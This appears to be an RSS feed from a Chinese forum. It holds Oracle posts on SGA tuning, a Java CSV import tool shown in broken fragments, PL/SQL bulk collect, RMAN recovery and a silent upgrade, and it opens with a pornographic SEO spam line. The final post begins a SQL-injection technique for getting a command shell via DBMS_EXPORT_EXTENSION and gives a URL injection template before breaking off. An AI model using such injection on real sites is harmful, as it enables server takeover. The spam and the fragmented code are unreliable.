亚洲久热无码av中文字幕,亚洲欧美成人中文在线网站,亚洲国产综合精品中文第一区http://www.bjzhda.cnzh-cn曙海教育集團論壇http://www.bjzhda.cnRss Generator By Dvbbs.Netofficeoffice@126.comimages/logo.gif曙海教育集團論壇Oracle Tuning的一些總結http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2508&Page=1wangxinxin2010-12-11 11:13:01        本文主要是把一些Oracle Tuning的文章作了一個簡單的總結,力求以實際可操作為目的,配合講解部分理論知識,使大部分具有一般Oracle知識的使用者能夠對Oracle Tuning有所了解,并且能夠根據實際情況對某些參數進行調整。關于更加詳細的知識,請參見本文結束部分所提及的推薦書籍,同時由于該話題內容太多且復雜,本文必定有失之偏頗甚至錯誤的地方,請不吝賜教,并共同進步。

1.  SGA的設置
        在Oracle Tuning中,對SGA的設置是關鍵。SGA,是指Shared Global Area , 或者是 System Global Area , 稱為共享全局區或者系統全局區,結構如下圖所示。


 
        對于SGA區域內的內存來說,是共享的、全局的,在UNIX 上,必須為oracle 設置共享內存段(可以是一個或者多個),因為oracle 在UNIX上是多進程;而在WINDOWS上oracle是單進程(多個線程),所以不用設置共享內存段。

1.1  SGA的各個組成部分
下面用 sqlplus 查詢舉例看一下 SGA 各個組成部分的情況:
SQL> select * from v$sga;
NAME                      VALUE
--------------------              ----------
Fixed Size                   104936
Variable Size              823164928
Database Buffers          1073741824
Redo Buffers                 172032

或者
SQL> show sga
Total System Global Area   1897183720 bytes
Fixed Size                   104936 bytes
Variable Size              823164928 bytes
Database Buffers          1073741824 bytes
Redo Buffers                 172032 bytes

Fixed Size
        oracle 的不同平臺和不同版本下可能不一樣,但對于確定環境是一個固定的值,里面存儲了SGA 各部分組件的信息,可以看作引導建立SGA的區域。

Variable Size
        包含了shared_pool_size、java_pool_size、large_pool_size 等內存設置

Database Buffers
        指數據緩沖區,在8i 中包含db_block_buffer*db_block_size、buffer_pool_keep、buffer_pool_recycle 三部分內存。在9i 中包含db_cache_size、db_keep_cache_size、db_recycle_cache_size、db_nk_cache_size。

Redo Buffers
       指日志緩沖區,log_buffer。在這里要額外說明一點的是,對于v$parameter、v$sgastat、v$sga查詢值可能不一樣。v$parameter 里面的值,是指用戶在初始化參數文件里面設置的值,v$sgastat是oracle 實際分配的日志緩沖區大小(因為緩沖區的分配值實際上是離散的,也不是以block 為最小單位進行分配的),v$sga 里面查詢的值,是在oracle 分配了日志緩沖區后,為了保護日志緩沖區,設置了一些保護頁,通常我們會發現保護頁大小是8k(不同環境可能不一樣)。參考如下內容
SQL> select substr(name,1,10) name,substr(value,1,10) value
       2 from v$parameter where name = 'log_buffer';
NAME                 VALUE
--------------------  --------------------
log_buffer              163840

SQL> select * from v$sgastat where pool is null;

POOL        NAME                       BYTES
----------- --------------------------                ----------
            fixed_sga                      104936
            db_block_buffers            1073741824
            log_buffer                     163840

SQL> select * from v$sga;

NAME                      VALUE
--------------------              ----------
Fixed Size                   104936
Variable Size               823164928
Database Buffers           1073741824
Redo Buffers                 172032

172032 – 163840 = 8192

(以上試驗數據是在 HP B.11.11 + Oracle 8.1.7.4 環境下得到的)


1.2  SGA的大小設置
       在對SGA的結構進行簡單分析以后,下面是關于如何根據系統的情況正確設置SGA大小的問題。
SGA是一塊內存區域,占用的是系統物理內存,因此對于一個Oracle應用系統來說,SGA決不是越大越好,這就需要尋找一個系統優化的平衡點。


1.2.1  設置參數前的準備
在設置SGA的內存參數之前,我們首先要問自己幾個問題
一:物理內存多大
二:操作系統估計需要使用多少內存
三:數據庫是使用文件系統還是裸設備
四:有多少并發連接
五:應用是OLTP 類型還是OLAP 類型


根據這幾個問題的答案,我們可以粗略地為系統估計一下內存設置。那我們現在來逐個問題地討論,首先物理內存多大是最容易回答的一個問題,然后操作系統估計使用多少內存呢?從經驗上看,不會太多,通常應該在200M 以內(不包含大量進程PCB)。
接下來我們要探討一個重要的問題,那就是關于文件系統和裸設備的問題,這往往容易被我們所忽略。操作系統對于文件系統,使用了大量的buffer 來緩存操作系統塊。這樣當數據庫獲取數據塊的時候,雖然SGA 中沒有命中,但卻實際上可能是從操作系統的文件緩存中獲取的。而假如數據庫和操作系統支持異步IO,則實際上當數據庫寫進程DBWR寫磁盤時,操作系統在文件緩存中標記該塊為延遲寫,等到真正地寫入磁盤之后,操作系統才通知DBWR寫磁盤完成。對于這部分文件緩存,所需要的內存可能比較大,作為保守的估計,我們應該考慮在 0.2——0.3 倍內存大小。但是如果我們使用的是裸設備,則不考慮這部分緩存的問題。這樣的情況下SGA就有調大的機會。
關于數據庫有多少并發連接,這實際上關系到PGA 的大。∕TS 下還有large_pool_size)。事實上這個問題應該說還跟OLTP 類型或者OLAP 類型相關。對于OLTP類型oracle 傾向于可使用MTS,對于OLAP 類型使用獨立模式,同時OLAP 還可能涉及到大量的排序操作的查詢,這些都影響到我們內存的使用。那么所有的問題綜合起來,實際上主要反映在UGA的大小上。UGA主要包含以下部分內存設置
SQL> show parameters area_size

NAME                                 TYPE    VALUE
------------------------------------               -------     --------
bitmap_merge_area_size                   integer    1048576
create_bitmap_area_size                   integer    8388608
hash_area_size                           integer     131072
sort_area_size                            integer     65536
SQL>


]]>
4月14日 從文件(*.csv或*.txt)導入Oracle數據庫Java源代碼http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2507&Page=1wangxinxin2010-12-11 11:11:37首先需要配置XML文件,如下:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<DefaultImport>Employee</DefaultImport>
<TargetTable tableName="EMPLOYEE_TEST">
<!--表中對應文件的列名和類型信息-->
<ColumnFileInfo>
   <Column name="ID" type="String"/>
   <Column name="DEP" type="String"/>
   <Column name="NAME" type="String"/>
   <Column name="AREA" type="String"/>
   <Column name="AGE" type="Number"/>
   <Column name="SEX" type="String"/>
   <Column name="XUELI" type="String"/>
   <Column name="SALARY" type="Number"/>
   <Column name="PRIX" type="Date"/>
</ColumnFileInfo>
</TargetTable>

<TargetTable tableName="YFJBXX_TEST">
   <ColumnFileInfo>
    <Column name="GLGXZJ" type="String"/>
   <Column name="YXTZJ" type="String"/>  
   <Column name="YFXM" type="String"/>   
   <Column name="JZDZ" type="String"/>   
   <Column name="JZDXZQH_DM" type="String"/>   
   <Column name="HJDZ" type="String"/>   
   <Column name="HJDXZQH_DM" type="String"/>   
   <Column name="SFZH" type="String"/>     
   <Column name="CSRQ" type="String"/>  
   <Column name="MZ_DM" type="String"/>   
   <Column name="WHCD_DM" type="String"/>
   <Column name="HKXZ_DM" type="String"/>
   <Column name="HYZK_DM" type="String"/>
   <Column name="CHRQ" type="String"/>   
   <Column name="JRXTRQ" type="String"/>
   <Column name="TCXTRQ" type="String"/>
   <Column name="TCYY_DM" type="String"/>
   <Column name="ZF_XM" type="String"/>  
   <Column name="ZF_JJDZ" type="String"/>   
   <Column name="ZF_JJDXZQHDM_DM" type="String"/>   
   <Column name="ZF_HJDZ" type="String"/>   
   <Column name="ZF_HJDXZQH_DM" type="String"/>   
   <Column name="ZF_SFZH" type="String"/>   
   <Column name="ZF_CSRQ" type="String"/>   
   <Column name="ZF_MZ_DM" type="String"/>   
   <Column name="ZF_WHCD_DM" type="String"/>
   <Column name="ZF_HKXZ_DM" type="String"/>
   <Column name="LGRZRQ" type="String"/>      
</ColumnFileInfo>
<ColumnCodeInfo>
    <Column name="LRSJ" type="Date"/>
   <Column name="SBPCH" type="String"/>
   <Column name="SBDWXZQH_DM" type="String"/>
</ColumnCodeInfo>
</TargetTable>

<ImportDealClassList>
   <Bean name="ImportDirectImpl" class="fileimport.ImportDirectImpl"/>
   <Bean name="ImportWISImpl" class="fileimport.ImportWISImpl"/>
</ImportDealClassList>
<MaxCommitNumber>5000</MaxCommitNumber>
</root>

文件中描述了2個導入工作:(1)表EMPLOYEE_TEST(2)表YFJBXX_TEST,文件中每張表的列名和類型需要和導入的目標表一致,且順序和文件中要導入的內容相匹配,例如下面的csv文件:

"ID","DEP","NAME","AREA","AGE","SEX","XUELI","SALARY","PRIX"
"001","研發","張三","北京","34","女","本科","4546","1"
"002","銷售","李四","天津","45","男","專科","4456","2"

可以看到導入的順序和上述XML文件中的列名一致。

如果從文件導入到數據庫中完全匹配,只需配置文件中的<Bean name="ImportDirectImpl" class="fileimport.ImportDirectImpl"/>即可,代碼中調用示例:
    //設置XML配置文件所在位置
    FileImportInitFactory.setConfigFileName("E:/EclipseProjects/WISImport/bin/fileimport/FileImportConfig.xml");
&nb

sp;   FileImportInitFactory.init();
    HashMap h = new HashMap(1,1);
    //如果有日期型的列,需要設置DateFormat并放入HashMap中
    h.put("DateFormat","yyyy-MM-dd HH:mm:ss");
    //執行導入工作
    new ImportFileEntry().importFile("導入的文件路徑及名稱.csv","YFJBXX_TEST",false,"ImportDirectImpl",h);

ImportFileEntry()的importFile方法說明:
/**
   * 從文件導入到指定表中
   * @param fileName String 要導入文件名
   * @param tableName String 導入目標表名
   * @param firstLineRead boolean 是否讀取第一行
   * @param dealClass 處理類名稱(例如配置文件中Bean name="ImportDirectImpl")
   * @param aHashMap 擴展用,需特殊處理時可置入變量
   * @throws Exception
   */
public void importFile(String fileName, String tableName, boolean firstLineRead,String dealClass,HashMap aHashMap) throws Exception ;

至此,一個簡單的不需做任何處理直接從文件導入數據庫對應表的功能就實現了。

但是有些時候我們需要進行特殊的處理,例如表中的當前操作日期列在導入文件中沒有,需要在代碼中加入,這時就需要實現FileImportInterface接口并加入到配置文件中例如:<Bean name="ImportWISImpl" class="fileimport.ImportWISImpl"/>,ImportWISImpl的實現代碼見后續代碼清單。

t;);
            columnListInfoCode[i][0] = columnName;
            columnListInfoCode[i][1] = columnType;
            System.out.println("Code columnName:" + columnName + " columnType:" + columnType);
          }
        }
        //生成實例
        ImportTableInfoBO importAction = new ImportTableInfoBO();
        importAction.setTableName(tableName);
        importAction.setColumnNamesFile(columnListInfoFile);
        if (columnListInfoCode != null) {
          importAction.setColumnNamesCode(columnListInfoCode);
        }
        //放入靜態容器中
        importJobList.put(tableName, importAction);
      }
      //2.其他配置信息
      Element importDealClassList = (Element) eroot.getElementsByTagName("ImportDealClassList").item(0);
      String className;
      String classFullName;
      NodeList beanList = importDealClassList.getElementsByTagName("Bean");
      for (int j=0; j < beanList.getLength(); j++){
        className = ( (Element) beanList.item(j)).getAttribute("name");
        classFullName = ( (Element) beanList.item(j)).getAttribute("class");
        dealClassList.put(className,classFullName);
      }
     
      System.out.println("importJobList.size()" + importJobList.size());
      System.out.println("dealClassList.size()" + dealClassList.size());

 

;      insertNum = 1;
        } else {
          insertNum++;
        }
      }
    } catch (Exception e) {
      e.printStackTrace();
      //---寫入數據庫待加入----
      //log.error(e.getMessage());
    }
}

public void close() {
    if (conn != null) {
      try {
        if (conn != null) {
          DbUtils.commitAndClose(conn);
        System.out.println("close end");
        }
      } catch (SQLException e) {
        e.printStackTrace();
        //log.error(e.getCause());
      }
    }
}

/**
   *
   * @param dateString String
   * @param format String
   * @return Date
   */
public Date formatDate(String dateString,String format){
    try{
      SimpleDateFormat f = new SimpleDateFormat(format);
      return f.parse(dateString);
    }catch(Exception e){
      return null;
    }
}

}


八、調用示例
package fileimport;

import java.util.HashMap;

public class ImportFileExample {
public ImportFileExample() {
}
public static void main(String[] args) {
   try {
     String ls = "c:/temp/employee_test.csv";

]]>
Oracle PLSQL中用pro進行 BULK COLLECT 的高效率查詢處理http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2506&Page=1wangxinxin2010-12-11 11:09:53過程樣例:
create or replace procedure real_user as
  c_count number(10);
begin

  DECLARE
    TYPE mobile_type IS TABLE OF mobile_dabenying.mobile%TYPE;  --按表字段類型來定義變量類型
    t_mobile mobile_type := mobile_type();
  
  BEGIN
    select mobile BULK COLLECT  --批量選擇數據
      INTO t_mobile
      from (select mobile from mobile_dabenying order by mobile);
  
    if (t_mobile.COUNT > 0) then
      FOR i IN t_mobile.FIRST .. t_mobile.LAST LOOP
      
        select count(*)  --從號段中過濾
          into c_count
          from mobile_region
         where t_mobile(i) between start_mobile and end_mobile;
      
        if (c_count > 0) then
          c_count := 0;
          insert into mobile_dabenying2 (mobile) values (t_mobile(i));  --真實用戶
        else
          dbms_output.put_line(t_mobile(i));
          insert into mobile_dabenying3 (mobile) values (t_mobile(i));  --假用戶
        end if;
      
      END LOOP;
    end if;
  
  END;

end;]]>
Oracle備份恢復之利用dbms_backup_restore恢復數據庫http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2505&Page=1wangxinxin2010-12-11 11:08:29引用
RMAN> run {
2> allocate channel ch00 device type disk;
3> backup database include current controlfile format '/backup/full%t' tag='FULLDB';
4> sql 'alter system archive log current';
5> backup archivelog all format '/backup/arch%t' tag='ARCHIVELOG';
6> release channel ch00;
7> }

allocated channel: ch00
channel ch00: sid=17 devtype=DISK

Starting backup at 20-JAN-10
channel ch00: starting full datafile backupset
channel ch00: specifying datafile(s) in backupset
including current controlfile in backupset
input datafile fno=00001 name=/app/oracle/oradata/ora9i/system01.dbf
input datafile fno=00002 name=/app/oracle/oradata/ora9i/undotbs01.dbf
input datafile fno=00005 name=/app/oracle/oradata/ora9i/example01.dbf
input datafile fno=00011 name=/app/oracle/oradata/ora9i/STREAM01.dbf
input datafile fno=00010 name=/app/oracle/oradata/ora9i/xdb01.dbf
input datafile fno=00006 name=/app/oracle/oradata/ora9i/indx01.dbf
input datafile fno=00009 name=/app/oracle/oradata/ora9i/users01.dbf
input datafile fno=00003 name=/app/oracle/oradata/ora9i/cwmlite01.dbf
input datafile fno=00004 name=/app/oracle/oradata/ora9i/drsys01.dbf
input datafile fno=00007 name=/app/oracle/oradata/ora9i/odm01.dbf
input datafile fno=00008 name=/app/oracle/oradata/ora9i/tools01.dbf
channel ch00: starting piece 1 at 20-JAN-10
channel ch00: finished piece 1 at 20-JAN-10
piece handle=/backup/full708756233 comment=NONE
channel ch00: backup set complete, elapsed time: 00:02:26
Finished backup at 20-JAN-10

Starting Control File and SPFILE Autobackup at 20-JAN-10
piece handle=/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-00 comment=NONE
Finished Control File and SPFILE Autobackup at 20-JAN-10

sql statement: alter system archive log current

Starting backup at 20-JAN-10
current log archived
channel ch00: starting archive log backupset
channel ch00: specifying archive log(s) in backup set
input archive log thread=1 sequence=1 recid=254 stamp=708756150
input archive log thread=1 sequence=2 recid=255 stamp=708756383
input archive log thread=1 sequence=3 recid=256 stamp=708756383
channel ch00: starting piece 1 at 20-JAN-10
channel ch00: finished piece 1 at 20-JAN-10
piece handle=/backup/arch708756383 comment=NONE
channel ch00: backup set complete, elapsed time: 00:00:02
Finished backup at 20-JAN-10

Starting Control File and SPFILE Autobackup at 20-JAN-10
piece handle=/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-01 comment=NONE
Finished Control File and SPFILE Autobackup at 20-JAN-10

released channel: ch00

假設現在數據庫異常宕機
引用
SQL> shutdown abort
ORACLE instance shut down

啟動數據庫至nomount狀態
引用
SQL> startup nomount
ORACLE instance started.

Total System Global Area 1125193868 bytes
Fixed Size                   452748 bytes
Variable Size             335544320 bytes
Database Buffers          788529152 bytes
Redo Buffers                 667648 bytes

1、利用dbms_backup_restore恢復控制文件
引用

SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate(type => '',ident => 'testctl');
  6  dbms_backup_restore.RestoresetdataFile;
  7  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control01.ctl');
  8  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
  9  dbms_backup_restore.RestoresetdataFile;
10  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control02.ctl');
11  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
12  dbms_backup_restore.RestoresetdataFile;
13  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control03.ctl');
14  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
15  dbms_backup_restore.DeviceDeallocate;
16  END;
17  /

PL/SQL procedure successfully completed.

當然也已可用rman進行控制文件恢復
引用
RMAN> restore controlfile from '/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-00';

Starting restore at 20-JAN-10

using channel ORA_DISK_1
channel ORA_DISK_1: restoring controlfile
channel ORA_DISK_1: restore complete
replicating controlfile
input filename=/app/oracle/oradata/ora9i/control01.ctl
output filename=/app/oracle/oradata/ora9i/control02.ctl
output filename=/app/oracle/oradata/ora9i/control03.ctl
Finished restore at 20-JAN-10


2、利用dbms_backup_restore恢復數據文件
引用
SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate (type => '',ident => 'testdatafile');
  6  dbms_backup_restore.RestoreSetDatafile;
  7  dbms_backup_restore.RestoreDatafileTo(dfnumber => 1,toname => '/app/oracle/oradata/ora9i/system01.dbf');
  8  dbms_backup_restore.RestoreDatafileTo(dfnumber => 2,toname => '/app/oracle/oradata/ora9i/undotbs01.dbf');
  9  dbms_backup_restore.RestoreBackupPiece(done => done,handle => '/backup/full708756233', params => null);
10  dbms_backup_restore.DeviceDeallocate;
11  END;
12  /



PL/SQL procedure successfully completed.

3、利用dbms_backup_restore恢復歸檔日志
引用
SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate (type => '',ident => 'testarchlog');
  6  dbms_backup_restore.RestoreSetArchivedLog(destination=>'/app/oracle/product/9.0.2/dbs/arch');
  7  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>1);
  8  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>2);
  9  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>3);
10  dbms_backup_restore.RestoreBackupPiece(done => done,handle => '/backup/arch708756383', params => null);
11  dbms_backup_restore.DeviceDeallocate;
12  END;
13  /

PL/SQL procedure successfully completed.

]]>
Oracle 靜默模式升級數據庫http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2504&Page=1wangxinxin2010-12-11 11:07:00引用
$ oslevel -r
5300-06

升級步驟大致如下:
1、編輯升級介質中的../Disk1/response/patchset.rsp文件,主要編輯以下條目
UNIX_GROUP_NAME="oinstall"
FROM_LOCATION="/oracle/Disk1/stage/products.xml"
ORACLE_HOME="/oracle/app/oracle/product/10.2/db_2"
ORACLE_HOME_NAME="OUIHome2"
注意ORACLE_HOME_NAME可以從../oraInventory/ContentsXML/inventory.xml文件中HOME NAME獲取。
2、升級Oracle軟件,刷新數據字典,不再贅述
引用
$ ./runInstaller -silent -ignoreDiskWarning -responseFile /oracle/Disk1/response/patchset.rsp

3、執行root.sh
引用
$ su
root's Password:
# /oracle/app/oracle/product/10.2/db_2/root.sh
Running Oracle10 root.sh script...

The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /oracle/app/oracle/product/10.2/db_2

Enter the full pathname of the local bin directory: [/usr/local/bin]:
The file "dbhome" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:
The file "oraenv" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:
The file "coraenv" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:

Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.


附升級過程顯示日志:

引用
$ ./runInstaller -silent -ignoreDiskWarning -responseFile /oracle/Disk1/response/patchset.rsp
********************************************************************************

Your platform requires the root user to perform certain pre-installation
OS preparation.  The root user should execute '/usr/sbin/slibclean' on all the nodes before
you proceed with Patchset Installation.

Answer 'y' if root has run '/usr/sbin/slibclean' so you can proceed with Oracle
Patchset installation.
Answer 'n' to abort installation and then ask root to run '/usr/sbin/slibclean'.

********************************************************************************
Has '/usr/sbin/slibclean' been run by root? [y/n] (n)
y

Starting Oracle Universal Installer...

Checking installer requirements...

Checking operating system version: must be 5200, 5300 or 6100
                                      Passed


All installer requirements met.

Preparing to launch Oracle Universal Installer from /tmp/OraInstall2010-02-27_03-32-47AM. Please wait ...$ Oracle Universal Installer, Version 10.2.0.4.0 Production
Copyright (C) 1999, 2008, Oracle. All rights reserved.

You can find a log of this install session at:
/oracle/app/oracle/oraInventory/logs/installActions2010-02-27_03-32-47AM.log
.................................................................................................... 100% Done.


Loading Product Information
.......................................................................................................... 100% Done.


Starting execution of Prerequisites...
Total No of checks: 2

Performing check for checkToInstallCCR
Checking the Components installed in Oracle Home
Check complete. The overall result of this check is: Passed


Check complete: Passed
=======================================================================
Performing check for CompatibilityChecks
Checking for Oracle Home incompatibilities ...
Check complete. The overall result of this check is: Passed


Check complete: Passed
=======================================================================
PrereqChecks complete


Analyzing dependencies
............................................................................................................. 100% Done.


-----------------------------------------------------------------------------
Summary
Global Settings
    Source: /oracle/Disk1/stage/products.xml
    Oracle Home: /oracle/app/oracle/product/10.2/db_2 (OUIHome2)
Product Languages
   English
Space Requirements
   /oracle/ Required 3.81GB : Available 7.82GB
   /tmp/ Required 142MB (only as temporary space) : Available 146MB
New Installations (80 products)
   Oracle Notification Service Patch 10.2.0.4.0
   Database Configuration and Upgrade Assistants Patch 10.2.0.4.0
   Character Set Migration Utility Patch 10.2.0.4.0
   Oracle Database 10g Patch 10.2.0.4.0
   Oracle JDBC/OCI Instant Client Patch 10.2.0.4.0
   Oracle Database 10g Patch 10.2.0.4.0
   Enterprise Manager plugin Common Files Patch 10.2.0.4.0
   SQL*Plus 10.2.0.4.0
   HAS Common Files Patch 10.2.0.4.0
   HAS Files for DB Patch 10.2.0.4.0
   Oracle Java Client Patch 10.2.0.4.0
   Oracle JVM Patch 10.2.0.4.0
   Oracle Internet Directory Client Patch 10.2.0.4.0
   iSQL*Plus 10.2.0.4.0
   Oracle Advanced Security Patch 10.2.0.4.0
   Oracle Net Patch 10.2.0.4.0
   Oracle Net Listener Patch 10.2.0.4.0
   Oracle Wallet Manager Patch 10.2.0.4.0
   Precompiler Common Files Patch 10.2.0.4.0
   Secure Socket Layer Patch 10.2.0.4.0
   Oracle OLAP Patch 10.2.0.4.0
   Oracle OLAP API Patch 10.2.0.4.0
   OLAP SQL Scripts Patch 10.2.0.4.0
   Oracle interMedia Client Option Patch 10.2.0.4.0
   Oracle Database 10g interMedia Files Patch 10.2.0.4.0
   Oracle interMedia Patch 10.2.0.4.0
   PL/SQL Embedded Gateway Patch 10.2.0.4.0
   Oracle XML Development Kit Patch 10.2.0.4.0
   Oracle Text Patch 10.2.0.4.0
   Oracle Clusterware RDBMS Files Patch 10.2.0.4.0
   Database SQL Scripts Patch 10.2.0.4.0
   Oracle Data Mining RDBMS Files Patch 10.2.0.4.0
   Generic Connectivity Common Files Patch 10.2.0.4.0
   Installation Common Files Patch 10.2.0.4.0
   Oracle Starter Database Patch 10.2.0.4.0
   Sample Schema Data Patch 10.2.0.4.0
   Oracle interMedia Locator RDBMS Files Patch 10.2.0.4.0
   Oracle Call Interface (OCI) Patch 10.2.0.4.0
   Oracle OLAP RDBMS Files Patch 10.2.0.4.0
   Oracle Partitioning Patch 10.2.0.4.0
   PL/SQL 10.2.0.4.0
   Oracle Recovery Manager Patch 10.2.0.4.0
   Oracle Database Utilities Patch 10.2.0.4.0
   Oracle interMedia Locator Patch 10.2.0.4.0
   XML Parser for Java Patch 10.2.0.4.0
   Assistant Common Files Patch 10.2.0.4.0
   Oracle JDBC Thin Driver for JDK 1.2 Patch 10.2.0.4.0
   Oracle JDBC Thin Driver for JDK 1.4 Patch 10.2.0.4.0
   Oracle interMedia Java Advanced Imaging Patch 10.2.0.4.0
   SQLJ Runtime Patch 10.2.0.4.0
   XML Parser for Oracle JVM Patch 10.2.0.4.0
   Enterprise Manager Agent DB 10.2.0.4.0
   Enterprise Manager Baseline 10.2.0.4.0
   Oracle Enterprise Manager Console DB 10.2.0.4.0
   XDK Required Support Files Patch 10.2.0.4.0
   Agent Required Support Files Patch 10.2.0.4.0
   DBJAVA Required Support Files Patch 10.2.0.4.0
   LDAP Required Support Files Patch 10.2.0.4.0
   Precompiler Required Support Files Patch 10.2.0.4.0
   Oracle RAC Required Support Files-HAS Patch 10.2.0.4.0
   RDBMS Required Support Files for Instant Client Patch 10.2.0.4.0
   RDBMS Required Support Files Patch 10.2.0.4.0
   SQL*Plus Required Support Files Patch 10.2.0.4.0
   SSL Required Support Files for InstantClient Patch 10.2.0.4.0
   Oracle Net Required Support Files Patch 10.2.0.4.0
   Oracle Globalization Support Patch 10.2.0.4.0
   Oracle Core Required Support Files Patch 10.2.0.4.0
   Platform Required Support Files 10.2.0.4.0
   Oracle Message Gateway Common Files Patch 10.2.0.4.0
   Enterprise Manager Agent Core Patch 10.2.0.4.0a
   Enterprise Manager Common Core Patch 10.2.0.4.0a
   Enterprise Manager Repository Core patch 10.2.0.4.0a
   Oracle Containers for Java 10.2.0.4.0
   Enterprise Manager Repository DB 10.2.0.4.0
   Oracle LDAP administration patch 10.2.0.4.0
   Oracle Required Support Files 32 bit Patch 10.2.0.4.0
   JDBC Common Files 10.2.0.4.0
   Database Workspace Manager 10.2.0.4.0
   Oracle Configuration Manager 10.2.7.1.0
   Oracle Real Application Testing 10.2.0.4.0
Upgrades (5 products)
   Oracle Universal Installer 10.2.0.4.0
   Oracle One-Off Patch Installer 10.2.0.4.0
   Installer SDK Component 10.2.0.4.0
   Java Runtime Environment 1.4.2.14.0
   Sun JDK 1.4.2.14.0
Already Installed (78 products)
   Oracle Notification Service 10.1.0.3.0
   Database Configuration and Upgrade Assistants 10.2.0.1.0
   Character Set Migration Utility 10.2.0.1.0
   Oracle Database 10g 10.2.0.1.0
   Oracle JDBC/OCI Instant Client 10.2.0.1.0
   Oracle Database 10g 10.2.0.1.0
   Enterprise Manager plugin Common Files 10.2.0.1.0
   SQL*Plus 10.2.0.1.0
   HAS Common Files 10.2.0.1.0
   HAS Files for DB 10.2.0.1.0
   Oracle Java Client 10.2.0.1.0
   Oracle JVM 10.2.0.1.0
   Oracle Internet Directory Client 10.2.0.1.0
   iSQL*Plus 10.2.0.1.0
   Oracle Advanced Security 10.2.0.1.0
   Oracle Net 10.2.0.1.0
   Oracle Net Listener 10.2.0.1.0
   Oracle Wallet Manager 10.2.0.1.0
   Precompiler Common Files 10.2.0.1.0
   Secure Socket Layer 10.2.0.1.0
   Oracle OLAP 10.2.0.1.0
   Oracle OLAP API 10.2.0.1.0
   OLAP SQL Scripts 10.2.0.1.0
   Oracle interMedia Client Option 10.2.0.1.0
   Oracle Database 10g interMedia Files 10.2.0.1.0
   Oracle interMedia 10.2.0.1.0
   PL/SQL Embedded Gateway 10.2.0.1.0
   Oracle XML Development Kit 10.2.0.1.0
   Oracle Text 10.2.0.1.0
   Oracle Clusterware RDBMS Files 10.2.0.1.0
   Database SQL Scripts 10.2.0.1.0
   Oracle Data Mining RDBMS Files 10.2.0.1.0
   Generic Connectivity Common Files 10.2.0.1.0
   Installation Common Files 10.2.0.1.0
   Oracle Starter Database 10.2.0.1.0
   Sample Schema Data 10.2.0.1.0
   Oracle interMedia Locator RDBMS Files 10.2.0.1.0
   Oracle Call Interface (OCI) 10.2.0.1.0
   Oracle OLAP RDBMS Files 10.2.0.1.0
   Oracle Partitioning 10.2.0.1.0
   PL/SQL 10.2.0.1.0
   Oracle Recovery Manager 10.2.0.1.0
   Oracle Database Utilities 10.2.0.1.0
   Oracle interMedia Locator 10.2.0.1.0
   XML Parser for Java 10.2.0.1.0
   Assistant Common Files 10.2.0.1.0
   Oracle JDBC Thin Driver for JDK 1.2 10.2.0.1.0
   Oracle JDBC Thin Driver for JDK 1.4 10.2.0.1.0
   Oracle interMedia Java Advanced Imaging 10.2.0.1.0
   SQLJ Runtime 10.2.0.1.0
   XML Parser for Oracle JVM 10.2.0.1.0
   Enterprise Manager Agent DB 10.2.0.1.0
   Enterprise Manager Baseline 10.2.0.1.0
   Oracle Enterprise Manager Console DB 10.2.0.1.0
   XDK Required Support Files 10.2.0.1.0
   Agent Required Support Files 10.2.0.1.0
   DBJAVA Required Support Files 10.2.0.1.0
   LDAP Required Support Files 10.2.0.1.0
   Precompiler Required Support Files 10.2.0.1.0
   Oracle RAC Required Support Files-HAS 10.2.0.1.0
   RDBMS Required Support Files for Instant Client 10.2.0.1.0
   RDBMS Required Support Files 10.2.0.1.0
   SQL*Plus Required Support Files 10.2.0.1.0
   SSL Required Support Files for InstantClient 10.2.0.1.0
   Oracle Net Required Support Files 10.2.0.1.0
   Oracle Globalization Support 10.2.0.1.0
   Oracle Core Required Support Files 10.2.0.1.0
   Platform Required Support Files 10.2.0.1.0
   Oracle Message Gateway Common Files 10.2.0.1.0
   Enterprise Manager Agent Core 10.2.0.1.0
   Enterprise Manager Common Files 10.2.0.1.0
   Enterprise Manager Repository Core 10.2.0.1.0
   Oracle Containers for Java 10.2.0.1.0
   Enterprise Manager Repository DB 10.2.0.1.0
   Oracle LDAP administration 10.2.0.1.0
   Oracle Required Support Files 32 bit 10.2.0.0.0
   JDBC Common Files 10.2.0.1.0
   Database Workspace Manager 10.2.0.1.0
]]>
犀利的 oracle 注入技術http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=65&ID=2503&Page=1wangxinxin2010-12-11 11:04:20oracle注入直接取得主機cmdshell的方法。

以下的演示都是在web上的sql plus執行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創建包
